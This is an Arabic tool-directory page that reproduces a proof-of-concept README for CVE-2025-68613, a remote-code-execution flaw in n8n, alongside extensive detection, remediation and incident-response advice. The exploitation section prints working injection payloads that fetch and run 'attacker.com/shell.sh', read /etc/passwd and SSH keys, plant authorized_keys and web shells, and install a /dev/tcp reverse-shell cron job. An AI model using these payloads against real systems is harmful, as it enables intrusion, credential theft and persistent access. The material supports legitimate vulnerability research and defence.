Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-68613-POC — PoC عام + ماسح ضوئي وبحث لـ CVE-2025-68613: ثغرة RCE حرجة في أتمتة سير العمل n8n عبر حقن التعبيرات (CVSS 10.0). يتضمن أدوات كشف، واستغلالًا كاملًا، وإرشادات المعالجة. | Kitploit
أدوات/GitHubGitHub/thestingr/cve-2025-68613-poc
الاستطلاعماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمرتطوير الحمولات
26منذ 7 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
thestingr/cve-2025-68613-poc

CVE-2025-68613-POC

PoC عام + ماسح ضوئي وبحث لـ CVE-2025-68613: ثغرة RCE حرجة في أتمتة سير العمل n8n عبر حقن التعبيرات (CVSS 10.0). يتضمن أدوات كشف، واستغلالًا كاملًا، وإرشادات المعالجة.

عرض المستودع

🚨 CVE-2025-68613: ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) حرجة في n8n

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

جدول المحتويات

  1. نظرة عامة
  2. ما هي n8n؟
  3. أساسيات الثغرة
  4. التفاصيل التقنية
  5. النسخ المتأثرة
  6. آلية الاستغلال
  7. الأثر الواقعي
  8. طرق الكشف
  9. المعالجة والتخفيف
  10. الموارد والمراجع

نظرة عامة

CVE-2025-68613 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) اكتُشفت في n8n، وهي منصة أتمتة سير عمل مفتوحة المصدر وشائعة. تسمح هذه الثغرة للمستخدمين المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على الخادم، مما قد يؤدي إلى اختراق النظام بالكامل.

حقائق سريعة

  • معرّف CVE: CVE-2025-68613
  • درجة CVSS: 9.9 - 10.0 (حرجة)
  • نوع الثغرة: حقن تعبير → تنفيذ تعليمات برمجية عن بُعد
  • CWE: CWE-913 (تحكم غير سليم في موارد التعليمات البرمجية المُدارة ديناميكيًا)
  • متجه الهجوم: الشبكة
  • مصادقة مطلوبة: نعم (صلاحية منخفضة - لا حاجة لوصول المسؤول) |- الحالة: يتوفر إثبات المفهوم (تم التحقق من عمله على v1.121.0)

ما هي n8n؟

n8n هي منصة أتمتة سير عمل مفتوحة المصدر تتيح للمستخدمين:

  • ربط مختلف واجهات برمجة التطبيقات (APIs) وقواعد البيانات والخدمات
  • أتمتة العمليات التجارية المتكررة
  • إنشاء سير عمل معقدة دون الحاجة إلى برمجة مكثفة
  • النشر محليًا (On-premises) أو في السحابة

لماذا تُعد n8n بنية تحتية حرجة؟

تستخدم المؤسسات n8n من أجل:

  • دمج قواعد البيانات مع الخدمات السحابية
  • أتمتة خطوط معالجة البيانات
  • ربط أنظمة إدارة علاقات العملاء (CRMs) وأنظمة تخطيط موارد المؤسسة (ERPs) والأنظمة الداخلية
  • إدارة البيانات الحساسة وبيانات اعتماد واجهات برمجة التطبيقات

هذا الدور المحوري في البنية التحتية لتقنية المعلومات يجعل الثغرات خطيرة بشكل خاص، إذ يمكنها أن تمنح المهاجمين وصولًا إلى الشبكات بالكامل والبيانات الحساسة.


الأدوات في هذا المستودع

يتضمن هذا المستودع أدوات جاهزة للاستخدام لاختبار اكتشاف الثغرات والاستغلال:

1. الماسح الضوئي: cve-2025-68613-scanner.py

الغرض: اكتشاف آمن وغير استغلالي لنسخ n8n الضعيفة

الميزات:

  • الكشف السلبي عن الإصدار من استجابات HTTP
  • لا يتطلب مصادقة
  • لا ينفّذ حمولات
  • يفحص عدة مسارات شائعة (/, /rest/settings, /healthz, /api/v1/health)
  • آمن لتقييمات الأمان المصرح بها

الاستخدام:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

root@kitploit:~
**المخرجات**:
- رمز الخروج 0: غير مُعرَّض للثغرة
- رمز الخروج 1: الإصدار غير محدد (قد يكون مُصحَّحًا أو مخفيًا)
- رمز الخروج 2: تم اكتشاف إصدار مُعرَّض للثغرة

### 2. قالب Nuclei: `CVE-2025-68613.yaml`
**الغرض**: اكتشاف الثغرات تلقائيًا واختبار تقييم التعبيرات الأساسي

**الميزات**:
- يتطلب رمز مصادقة صالحًا
- يختبر قدرة حقن التعبيرات
- يحاول قراءة السياق العام لـ Node.js (process.platform)
- ينشئ سير عمل اختبارية للتحقق من ناقل RCE (تنفيذ الأوامر عن بُعد)
- تصنيف الخطورة حرج وفقًا لـ CVSS 10.0

**الاستخدام**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. الاستغلال الكامل: exploit_cve-2025-68613.py

الغرض: إثبات مفهوم كامل للاستغلال مع حمولات هجوم متعددة

الميزات:

  • معالجة كاملة للمصادقة
  • حمولات استغلال متعددة:
    • info: جمع معلومات النظام (نظام التشغيل، البنية المعمارية، إصدار Node.js، المستخدم الحالي)
    • cmd: تنفيذ أوامر نظام تعسفية
    • env: استخراج جميع متغيرات البيئة (تكشف بيانات الاعتماد، مفاتيح API، الأسرار)
    • read: قراءة ملفات حساسة من نظام الملفات (مفاتيح SSH، ملفات الإعدادات، إلخ.)
    • write: كتابة ملفات إلى نظام الملفات (الاستمرارية، الباب الخلفي، إلخ.)
    • revshell: إنشاء اتصال ريفيرس شل للوصول التفاعلي
  • تنظيف سير العمل تلقائيًا
  • معالجة الأخطاء والإبلاغ عن الحالة

المتطلبات:

  • بيانات اعتماد مستخدم n8n صالحة (بريد إلكتروني/كلمة مرور)
  • Python 3.6+ مع مكتبة requests
  • وصول شبكي إلى مثيل n8n الهدف

التثبيت:```bash pip install requests chmod +x exploit_cve-2025-68613.py

root@kitploit:~
**أمثلة الاستخدام**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

كيف يعمل:

  1. يتحقق من المصادقة إلى n8n باستخدام بيانات الاعتماد المقدمة
  2. ينشئ سير عمل خبيث يحتوي على حمولة حقن تعبيرات
  3. تخرج الحمولة من صندوق رمل التعبيرات باستخدام this.constructor.constructor()
  4. ينفذ الحمولة عبر process.platform أو واجهات برمجة تطبيقات Node.js الأخرى
  5. يسترجع النتائج من تنفيذ سير العمل
  6. يقوم بالتنظيف عن طريق حذف سير عمل الاختبار

رموز الخروج:

  • 0: نجاح الاستغلال
  • 1: فشل المصادقة أو الاستغلال

أساسيات الثغرة

ما هي المشكلة؟

بعبارات بسيطة: يتيح n8n للمستخدمين كتابة تعبيرات في سير العمل لمعالجة البيانات ديناميكيًا. ومع ذلك، يتم تقييم هذه التعبيرات دون عزل مناسب، مما يسمح للمهاجمين بالخروج من سياق التنفيذ المقصود وتنفيذ تعليمات برمجية عشوائية على الخادم.

المشكلة الأساسية

عند إنشاء سير عمل في n8n، يمكنك استخدام "التعبيرات" لمعالجة البيانات. يُفترض أن تعمل هذه التعبيرات في بيئة مقيدة. ومع ذلك، تُظهر الثغرة أن هذه التعبيرات يمكنها الوصول إلى النظام الأساسي، مما يسمح للمهاجم بـ:

  1. تنفيذ أوامر النظام
  2. قراءة/كتابة الملفات على الخادم
  3. سرقة متغيرات البيئة (مفاتيح API، كلمات المرور، الأسرار)
  4. تعديل البيانات أو حذفها
  5. تأسيس استمرارية للوصول طويل الأمد

لماذا هي خطيرة للغاية

  • حاجز دخول منخفض: يتطلب فقط تسجيل دخول مستخدم (بدون صلاحيات إدارية خاصة)
  • انتشار واسع: تسمح العديد من المؤسسات للمستخدمين غير التقنيين بإنشاء سير عمل
  • تأثير كبير: يعمل بصلاحيات كاملة لعملية n8n
  • الوصول إلى البيانات: يمكنه الوصول إلى جميع البيانات التي يصل إليها n8n (قواعد البيانات، واجهات برمجة التطبيقات، بيانات الاعتماد)
  • الموقع الشبكي: غالبًا ما يقع n8n في مركز البنية التحتية الحرجة، مما يتيح الحركة الجانبية

التفاصيل الفنية

كيف تعمل الثغرة

الخطوة 1: تقييم تعبيرات سير العمل

عندما يقوم المستخدم بإنشاء سير عمل في n8n، يمكنه استخدام تعبيرات لمعالجة البيانات:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

root@kitploit:~
#### الخطوة 2: حقن التعبير
يصوغ المهاجم تعبيرًا خبيثًا يهرب من بيئة العزل المقصودة:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

الخطوة 3: تنفيذ الكود

يتم تقييم التعبير دون عزل مناسب، مما يسمح للمهاجم بـ:

  • استدعاء دوال النظام
  • تنفيذ أوامر الشل
  • الوصول إلى نظام الملفات
  • قراءة متغيرات البيئة

السبب الجذري

تنبع الثغرة من عدم كفاية العزل في محرك تقييم التعبيرات. قام فريق n8n بتقييم التعبيرات في سياق:

  • سمح بالوصول إلى دوال تحميل الوحدات مثل require() أو ما يشابهها
  • لم يقيد الوصول إلى واجهات برمجة التطبيقات (API) الخاصة بالنظام بشكل صحيح
  • لم يتحقق من صحة صياغة التعبيرات أو يصفّها
  • لم يمنع هجمات تلويث النموذج الأولي (Prototype Pollution)
  • لم يعزل بيئة التنفيذ عن بيئة تشغيل Node.js الأساسية

مسار تنفيذ الكود```

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

root@kitploit:~
---

## الإصدارات المتأثرة

### النطاق المعرض للخطر

جميع إصدارات n8n بدءًا من **0.211.0** وصولاً إلى الإصدارات التالية معرضة للخطر:
- `0.211.0` → `1.120.3`
- `1.121.0`

### الإصدارات المصححة

تم إصلاح الثغرة في:
- ✅ `1.120.4` والإصدارات الأحدث في فرع 1.120.x
- ✅ `1.121.1` والإصدارات الأحدث في فرع 1.121.x
- ✅ `1.122.0` وجميع الإصدارات الأحدث

### كيفية التحقق من إصدارك```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

الإصدارات المختبرة والتوافق

تم التحقق من عملها

  • n8n v1.121.0: ✅ قابلة للاستغلال بالكامل (تم تأكيد RCE، حقن التعبيرات يعمل)
  • n8n v0.211.0 - v1.120.3: ✅ ضمن النطاق المعرّض وفقًا لـ NVD (لم تُختبر بشكل فردي)

مشاكل معروفة

  • قيود تنفيذ REST: نقطة النهاية /rest/workflows/{id}/run تُرجع خطأ HTTP 500 في الإصدار v1.121.0
    • الحل البديل: حقن التعبيرات يعمل بشكل مثالي، وتم تأكيد RCE عبر:
      1. النقر يدويًا على زر "Test Step" في الواجهة (ثبت أنه يعمل)
      2. التقاط مخرجات سير العمل
    • هذا قيد في الواجهة البرمجية، وليس خللًا في الاستغلال

لم يتم اختباره

  • n8n v0.212.0+: خارج نطاق الثغرات الموثق، وعلى الأرجح تمت معالجته (انظر GitHub issue #1)
  • نشرات Windows Server: بيانات اختبار محدودة على البيئات الخاصة بـ Windows

بيان دعم الإصدارات

صُمم الاستغلال للعمل ضد النطاق المعرّض الموثق في NVD:

  • المؤكد تعرضه: من 0.211.0 حتى 1.120.3، بالإضافة إلى 1.121.0
  • الإصدارات المصححة: 1.120.4، 1.121.1، 1.122.0 والإصدارات الأحدث

إذا تم الاختبار ضد إصدارات خارج هذا النطاق، فليس هناك ضمان للنجاح.


آلية الاستغلال

ماذا يمكن للمهاجم أن يفعل؟

بمجرد أن يستغل مستخدم مصادق (أو مهاجم يمتلك بيانات اعتماد صالحة) هذه الثغرة، يمكنه:

1. تنفيذ أوامر نظام عشوائية```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

root@kitploit:~
#### 2. قراءة الملفات من الخادم```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

3. قراءة متغيرات البيئة```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

root@kitploit:~
#### 4. كتابة الملفات الخبيثة```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

5. الوصول إلى الخدمات المتصلة```javascript

// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

root@kitploit:~
#### 6. إنشاء الثبات```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

مثال سيناريو الهجوم

سيناريو واقعي: شركة تستخدم n8n

  1. الحصول على بيانات الاعتماد: عبر التصيد الاحتيالي، أو إعادة استخدام كلمات المرور، أو ضعف كلمة المرور
  2. تسجيل الدخول إلى n8n: يستخدم حساب مستخدم شرعي
  3. إنشاء سير عمل "غير ضار": يدّعي أنه لمعالجة البيانات
  4. حقن تعبير خبيث: يخفي الاستغلال في إحدى خطوات سير العمل
  5. تنفيذ الكود: يشغّل أوامر بصلاحيات عملية n8n
  6. سرقة البيانات: يسرق مفاتيح API، وبيانات اعتماد قاعدة البيانات، وبيانات العملاء
  7. تثبيت الاستمرارية: يثبّت أبوابًا خلفية، وينشئ حسابات مدير جديدة
  8. التحرك الجانبي: يستخدم بيانات الاعتماد المسروقة للوصول إلى أنظمة أخرى

التأثير الواقعي

تأثير السرية (مرتفع)

  • الوصول إلى البيانات الحساسة التي تعالجها سير العمل
  • استخراج مفاتيح API، وكلمات مرور قاعدة البيانات، ومفاتيح التشفير
  • قراءة ملفات الإعدادات، والسجلات، والأسرار
  • انتهاكات محتملة للـ GDPR/الامتثال من خلال سرقة البيانات

تأثير النزاهة (مرتفع)

  • تعديل سير العمل الحالي لتخريب العمليات
  • حقن سير عمل خبيثة تفسد البيانات
  • تغيير مخرجات سير العمل مما يؤثر على الأنظمة النهائية
  • زرع أبواب خلفية للوصول المستمر

تأثير التوافر (مرتفع)

  • حذف سير العمل الحرجة مما يسبب تعطيل الأعمال
  • تعديل ملفات النظام المؤدية إلى تعطل الخدمات
  • استنزاف الموارد من خلال الأتمتة الخبيثة
  • هجمات فدية حيث يطلب المهاجمون الدفع لاستعادة الأنظمة

أمثلة تأثير الأعمال

شركة تصنيع

  • n8n يؤتمت معالجة الطلبات وإدارة المخزون
  • المهاجم يسرق طلبات العملاء ومعلومات الموردين
  • يعدّل سير العمل لإرسال منتجات خاطئة للعملاء
  • النتائج: فقدان ثقة العملاء، ومسؤولية قانونية، وتعطيل العمليات

الخدمات المالية

  • n8n يدمج واجهات برمجة التطبيقات المصرفية ومعالجة المدفوعات
  • المهاجم يسرق بيانات اعتماد API ورموز المصادقة
  • يعيد توجيه المعاملات أو ينشئ سجلات احتيالية
  • النتائج: عقوبات تنظيمية، وتعويضات للعملاء، وضرر للسمعة

منظمة رعاية صحية

  • n8n يتعامل مع دمج بيانات المرضى وإعداد التقارير
  • المهاجم يصل إلى المعلومات الصحية المحمية (PHI)
  • يعدّل السجلات الطبية أو يحجب التنبيهات الحرجة
  • النتائج: انتهاكات HIPAA، وضرر للمرضى، ومسؤولية المنظمة

طرق الكشف

الطريقة 1: ماسح اكتشاف الإصدار

نص اكتشاف آمن وغير استغلالي (مضمّن في المستودع الأصلي):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

root@kitploit:~
**أمثلة المخرجات**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

الطريقة 2: استخدام قالب Nuclei

الفحص الآلي باستخدام Nuclei:```bash

Single target

nuclei -t CVE-2025-68613.yaml -u http://target:5678

Multiple targets from file

nuclei -t CVE-2025-68613.yaml -l targets.txt

root@kitploit:~
**كيف يعمل**:
1. يرسل طلبات HTTP إلى المسارات الشائعة لـ n8n
2. يستخرج بيانات تعريف الإصدار من HTML/الترويسات
3. يفك تشفير الإعدادات المشفرة بـ base64 إذا كانت موجودة
4. يقارن الإصدار مع النطاقات المعرضة للخطر
5. يبلغ إذا كان المثيل معرضًا للخطر

### الطريقة الثالثة: انتزاع الشعار يدويًا```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

الطريقة 4: استطلاع الشبكة```bash

Find n8n instances using Shodan

shodan search "n8n" --limit 10

Use favicon hash detection

nmap -p 5678 --script http-favicon target.com

root@kitploit:~
### مؤشرات الاستغلال (IOCs)

**علامات السجلات**:
- تقييمات تعبيرات غير معتادة في سجلات سير العمل
- أخطاء تعبيرات تحتوي على أوامر نظام
- الوصول إلى ملفات حساسة (مثل مراجع /etc/passwd)
- إطلاق عمليات غير متوقعة من عملية n8n

**علامات النظام**:
- حسابات مستخدمين جديدة تم إنشاؤها على الخادم
- مفاتيح SSH غير متوقعة في authorized_keys
- وظائف cron جديدة أو مهام مجدولة
- تعديلات على ملفات النظام
- اتصالات reverse shell من خادم n8n

---

## المعالجة والتخفيف

### الحل الأساسي: الترقية الفورية

**هذا هو الحل الكامل الوحيد للثغرة.**

#### الخطوة 1: النسخ الاحتياطي لبياناتك```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

الخطوة 2: تحديث n8n

باستخدام Docker (موصى به):```bash

Pull the latest patched version

docker pull n8nio/n8n:1.122.0 # Or later

Stop current instance

docker stop n8n-container

Start with new version

docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0

root@kitploit:~
**استخدام npm**:```bash
# Backup first
npm run export --backup

# Update
npm update n8n

# Or specific version
npm install [email protected]

استخدام مدير حزم النظام:```bash

Debian/Ubuntu

sudo apt update && sudo apt upgrade n8n

Or manual download

wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

root@kitploit:~
#### الخطوة 3: تحقق من التحديث```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

تخفيف مؤقت: أثناء الترقية

مهم: هذه الإجراءات لا تُصلح الثغرة الأمنية. استخدمها فقط كإجراءات مؤقتة أثناء التخطيط للترقيات.

1. تقييد صلاحيات سير العمل```

n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

root@kitploit:~
#### 2. مراقبة تغييرات سير العمل```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

3. عزل الشبكة```bash

Restrict n8n network access

sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

Or using iptables

sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

root@kitploit:~
#### 4. تشغيل n8n بأقل الامتيازات```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

5. تفعيل المصادقة القوية```

n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

root@kitploit:~
#### 6. الحاويات والعزل```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

7. التدقيق المنتظم```bash

Monitor for suspicious activities

Check for new files in n8n directories

find /path/to/n8n -type f -mtime -1

Monitor process activity

ps aux | grep n8n netstat -tlnp | grep n8n

Check for unauthorized SSH keys

cat ~/.ssh/authorized_keys

Review system logs

journalctl -u n8n -n 100

root@kitploit:~
---

## مصفوفة تقييم المخاطر

| السيناريو | مستوى الخطورة | الاحتمالية | التأثير | الأولوية |
|----------|-----------|-----------|--------|----------|
| n8n غير مُصحَّح ومواجه للإنترنت | حرِج | عالية | اختراق كامل | 🔴 عاجل |
| n8n غير مُصحَّح داخلي فقط | عالية | متوسطة | خطر التهديد الداخلي | 🟠 عالية |
| n8n مُصحَّح | منخفضة | منخفضة | غير متاح (N/A) | ✅ تم الحل |
| غير مُصحَّح + قيود صلاحيات | متوسطة | متوسطة | مقتصر على المستخدمين الموثوقين | 🟡 متوسطة |

---

## الخطوات التفصيلية للاسترداد في حالة الاختراق

### إجراءات فورية (الساعة الأولى)
1. **اعزل النظام**: افصله عن الشبكة
2. **أوقف الخدمة**: `sudo systemctl stop n8n`
3. **احتفظ بالسجلات**: انسخ جميع السجلات احتياطيًا قبل المسح
4. **نبّه الفريق**: أبلغ فريق الأمن والإدارة
5. **قيّم النطاق**: حدد البيانات التي وصل إليها n8n

### التحقيق (اليوم الأول)
1. **راجع سجلات التدقيق**: تحقق من الأنشطة المشبوهة
2. **حلل حركة مرور الشبكة**: ابحث عن تسريب البيانات
3. **افحص تعديلات الملفات**: ابحث عن الأبواب الخلفية المزروعة
4. **راجع حسابات المستخدمين**: ابحث عن حسابات جديدة أو معدَّلة
5. **تدقيق بيانات الاعتماد**: أعد تعيين جميع مفاتيح API وكلمات المرور التي يستخدمها n8n

### المعالجة (الأيام 2-7)
1. **إعادة بناء كاملة للنظام**: لا تكتفِ بالتحديث، أعد البناء من صورة نظيفة
2. **تدوير بيانات الاعتماد**: أعد تعيين جميع كلمات المرور ومفاتيح API والرموز المميزة
3. **صحّح كل شيء**: حدّث جميع الأنظمة المتصلة
4. **استعد من النسخة الاحتياطية**: استخدم نسخًا احتياطية نظيفة من قبل الاختراق
5. **تدقيق أمني**: نفِّذ تقييمًا أمنيًا شاملاً

### ما بعد الحادث (الأسبوع الثاني فما بعده)
1. **نفِّذ المراقبة**: أعد إعداد تسجيل وتنبيه مستمرين
2. **غيّر العمليات**: حدّث إجراءات الاستجابة للحوادث
3. **درّب المستخدمين**: ثقّف الفرق حول أفضل ممارسات الأمان
4. **افحص الثغرات**: قم بفحوصات منتظمة لمشكلات مشابهة
5. **راجع الامتثال**: تأكد من استيفاء جميع اللوائح (GDPR وHIPAA وغيرها)

---

## الوقاية مستقبلًا

### أفضل ممارسات الأمان لـ n8n

1. **أبقِ n8n محدثًا**
   - فعّل التحديثات التلقائية إذا توفرت
   - اشترك في النشرات الأمنية لـ n8n
   - اختبر التصحيحات في بيئة التدريج قبل الإنتاج

2. **التحكم في الوصول**
   - استخدم مبدأ الامتيازات الأقل
   - اشترط كلمات مرور قوية والمصادقة الثنائية (2FA)
   - طبّق تسجيل الدخول الموحد (SSO) للبيئات المؤسسية
   - راجع ودقّق الوصول بانتظام

3. **إدارة سير العمل**
   - راجع جميع سير العمل بحثًا عن منطق مشبوه
   - نفِّذ عملية مراجعة الكود لسير العمل
   - استخدم اصطلاحات التسمية لتحديد سير العمل الحرج
   - انسخ سير العمل احتياطيًا بانتظام

4. **إدارة بيانات الاعتماد**
   - لا تخزّن بيانات الاعتماد في سير العمل أبدًا
   - استخدم متغيرات البيئة للبيانات الحساسة
   - داوِر بيانات الاعتماد بانتظام
   - دقّق الوصول إلى بيانات الاعتماد

5. **المراقبة والتسجيل**
   - فعّل تسجيل التدقيق الشامل
   - راقب الأنشطة غير المعتادة
   - أعد تنبيهات للعمليات المشبوهة
   - راجع وحلّل السجلات بانتظام

6. **أمان الشبكة**
   - شغّل n8n في قطاعات شبكة معزولة
   - قيّد الوصول إلى الشبكة على الخدمات المطلوبة فقط
   - استخدم VPN/جدار الحماية للوصول عن بُعد
   - راقب حركة مرور الشبكة بحثًا عن الحالات الشاذة

7. **الاستجابة للحوادث**
   - أنشئ خطة الاستجابة للحوادث
   - حدد إجراءات التصعيد
   - نفِّذ تدريبات أمنية منتظمة
   - حافظ على قوائم اتصال محدثة

---

## استكشاف الأخطاء وإصلاحها

### المشكلة: "رمز الخروج 1: فشل المصادقة أو الاستغلال"

**الأسباب الشائعة**:
1. **بيانات اعتماد خاطئة** (الأكثر شيوعًا)
   - الحل: تحقق أولاً من أن بيانات الاعتماد تعمل لتسجيل الدخول إلى واجهة الويب
   - جرّب: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **المستخدم لا يملك صلاحيات إنشاء سير العمل**
   - الحل: استخدم حساب مسؤول أو حساب مستخدم بصلاحيات إنشاء سير العمل
   - التحقق: افحص لوحة الإدارة → المستخدمون والصلاحيات

3. **الإصدار مُصحَّح** (الإصدار > 1.121.0)
   - الحل: استخدم الماسح الضوئي للتحقق من الإصدار أولاً: `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - المتوقع: يجب أن يبلغ الماسح الضوئي "Vulnerable" (رمز الخروج 2)

4. **تغيّرت بنية API** (قد تختلف الإصدارات الأقدم/الأحدث)
   - الحل: افحص نشرة NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - الأكثر احتمالًا إذا كنت تختبر إصدارات خارج النطاق الموثق

5. **حجب الشبكة/جدار الحماية**
   - الحل: تحقق من الاتصال: `curl http://target:5678/`
   - افحص: قواعد جدار الحماية وإعدادات الوكيل وشهادات SSL

### المشكلة: الماسح الضوئي يبلّغ عن نتائج إيجابية خاطئة (يكتشف إصدارًا خاطئًا)

**تم الإصلاح في v1.02**: يستخدم الماسح الضوئي الآن إعداد Sentry المشفَّر بنظام base64 من وسم meta بدلاً من regex البسيط. هذا يلغي النتائج الإيجابية الخاطئة حيث كان يتم اكتشاف إصدار Node.js على أنه إصدار n8n.

**ما الذي تغيّر**:
- المصدر الأساسي: استخراج وفك ترميز `<meta name="n8n:config:sentry" content="[BASE64]">`
- البديل: يستخدم regex فقط إذا لم تتوفر إعدادات Sentry
- النتيجة: اكتشاف دقيق للإصدار دون نتائج إيجابية خاطئة

**لاستخدام ماسح v1.02**:```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

المشكلة: تنفيذ REST يعيد خطأ 500

هذا ليس خطأً في الاستغلال - بل هو قيد في واجهة برمجة التطبيقات (API).

الشرح:

  • يُرجع نقطة النهاية /rest/workflows/{id}/run خطأ HTTP 500 في n8n v1.121.0
  • هذا قيد في تصميم API الخاص بـ n8n، وليس خطأً في الاستغلال
  • حقن التعبيرات لا يزال يعمل عبر واجهة المستخدم (UI)

الحل البديل:

  1. يقوم الاستغلال بإنشاء سير عمل بتعبير ضار ✅ يعمل
  2. يتم تقييم التعبير وتنفيذ الكود ✅ يعمل (مثبت بالاختبار اليدوي)
  3. انقر يدويًا على زر "Test Step" في الواجهة لتفعيل التعبير ✅ يعمل
  4. اقرأ المخرجات من نتائج سير العمل ✅ يعمل

الدليل: تم الحصول على العلم على TryHackMe: THM{n8n_exposed_workflow}


الموارد والمراجع

المصادر الرسمية

  • مستودع n8n على GitHub: https://github.com/n8n-io/n8n
  • التنبيهات الأمنية لـ n8n: https://github.com/n8n-io/n8n/security/advisories
  • وثائق n8n: https://docs.n8n.io/

معلومات CVE

  • إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
  • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613
  • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

الموارد الأمنية

  • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
  • حقن الكود OWASP: https://owasp.org/www-community/attacks/Code_Injection
